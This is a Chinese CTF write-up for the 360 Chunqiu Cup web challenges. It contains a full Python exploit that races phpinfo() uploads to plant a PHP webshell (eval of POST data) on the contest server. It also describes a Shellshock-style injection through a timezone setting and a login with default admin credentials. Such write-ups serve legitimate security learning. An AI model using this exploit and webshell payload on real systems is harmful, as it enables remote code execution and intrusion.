360春秋杯writeup

這是我參加的體驗最差的一次比賽。。。服務器差的真是沒有web狗的生存餘地,最後又因爲修改名額恰好掉出來,醉啦

WEB

where is my cat

一開始還吐槽證書問題,抓包

這裏寫圖片描述

出現個迷之host,肯定有問題
跟請求的HOST居然一樣,先查一下證書,畢竟證書不安全

這裏寫圖片描述

直接通用名上去,得到flag
這裏寫圖片描述

寫一寫,看一看

打開,直接找備份,在index.bak找到,這題感覺非常坑,本來服務器就不行,結果題目源碼還一直改。。。

<html>

welcome to hence's lesson!<br>
today, we are going to learn php~<br>
we can use php to do dirty things such as getting a flag, code here:<br>
<?php  include("flag.php");echo $flag;?>
next lesson we will learn phpinfo() and exec()<a href="exec.php">go!</a>

</html>

exec.php:
<?php
    highlight_file(__FILE__);

    $dir = 'tmp/'; 
    if(!file_exists($dir))
    mkdir($dir);   
    chdir($dir);
    if(!isset($_GET['shell'])){
    phpinfo();
    exit();
    }
    $shell = $_GET['shell'];
    for ( $i=0; $i<count($shell); $i++ ){
        if ( !preg_match('/^\w+$/', $shell[$i]) )
            exit();
    }  
    session_start();
    $path = $_SESSION['path'];
    $shell =  str_replace('path','/'.$path,implode(" ",$shell));
    exec("/bin/hence " . $shell);
?>

本來,這題類似於HITCON CTF2015 Quals WebBabyFirst ,但訪問外網基本不行,後來題目一改,就直接改了思路
這題計劃利用phpinfo寫入來進行,思路http://www.freebuf.com/articles/web/79830.html
由於可以執行php命令,我們寫入一個臨時文件,地址在/tmp/xxx,也就是/var/www/html/tmp/haha/haha.php
首先創建這個文件夾,然後生成一個webshell
思路就是這樣,利用http://www.voidcn.com/blog/hxsstar/article/p-2897846.html的腳本,修改一下就可以

#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org

'''

可能需要你改的幾個地方:
1、host
2、port
3、request中的phpinfo頁面名字及路徑
4、hello_lfi() 函數中的url,即存在lfi的頁面和參數
5、如果不成功或報錯,嘗試增加padding長度到7000、8000試試
6、某些開了magic_quotes_gpc或者其他東西不能%00的,自行想辦法截斷並在(4)的位置對應修改
 Good Luck :)

'''

import re
import urllib2
import hashlib
from socket import *
from time import sleep
host = '106.75.34.78'
#host = gethostbyname(domain)
port = 2081
shell_name = 'haha.php'
pattern = re.compile(r'''\[tmp_name\]\s=&gt;\s(.*)\W*error]''')

payload = '''idwar<?php fputs(fopen('/var/www/html/tmp/haha/''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload

padding='A' * 8000
request='''POST /exec.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)


def hello_lfi():
    while 1:
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.send(request)
        data = ''
        while r'</body></html>' not in data:
            data = s.recv(9999)
            search_ = re.search(pattern, data)
            if search_:
                tmp_file_name = search_.group(1).replace('/',"path")
                url = r'http://106.75.34.78:2081/exec.php?shell[]=1%%0a&shell[]=php&shell[]=%s' % tmp_file_name
                print url
                search_request = urllib2.Request(url)
                search_response = urllib2.urlopen(search_request)
                html_data = search_response.read()
                if 'idwar' in html_data:
                    s.close()
                    return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
                    #import sys;sys.exit()
        s.close()
if __name__ == '__main__':
    print hello_lfi()
    print '\n Good Luck :)'

服務器的問題,跑的真心累,一會服務器炸,一會跑不出來。。。
反正跑出來後flag得到

其實方法二相對於而言較爲簡單,利用壓縮命令,此爲ChaMd5安全團隊的方法
https://mp.weixin.qq.com/s/OT1tHZjTfA2af8DJzXgCNA

這裏寫圖片描述

然後訪問,下載壓縮包即可

mail

首先利用admin/admin進去,掃目錄發現有個web.tar.gz
config.php下發現有問題的地方

$timezone = getConfig('timezone');
if($timezone != "")
{
  putenv("TZ=$timezone");
}else{
  putenv("TZ=Asia/Shanghai");
}

在option.php下發現

<?php
include 'inc/function.php';
include 'inc/config.php';

if($_GET['action']== 'save')
{
  $config = $_POST['config'];

  saveConfig($config);

  die("<script>alert('保存成功!');history.go(-1);</script>");
}

?>

通過dalao的指點,這是一個破殼漏洞
http://www.freebuf.com/news/49292.html

這裏寫圖片描述

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章